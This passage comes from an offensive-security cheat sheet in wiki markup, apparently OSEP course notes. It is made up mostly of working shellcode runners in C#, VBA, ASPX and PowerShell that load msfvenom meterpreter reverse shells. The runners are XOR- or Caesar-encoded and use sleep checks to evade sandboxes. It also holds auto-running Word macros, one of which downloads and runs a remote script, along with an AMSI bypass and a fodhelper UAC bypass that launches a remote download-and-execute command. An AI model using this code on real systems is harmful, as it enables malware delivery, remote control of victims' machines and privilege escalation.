                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
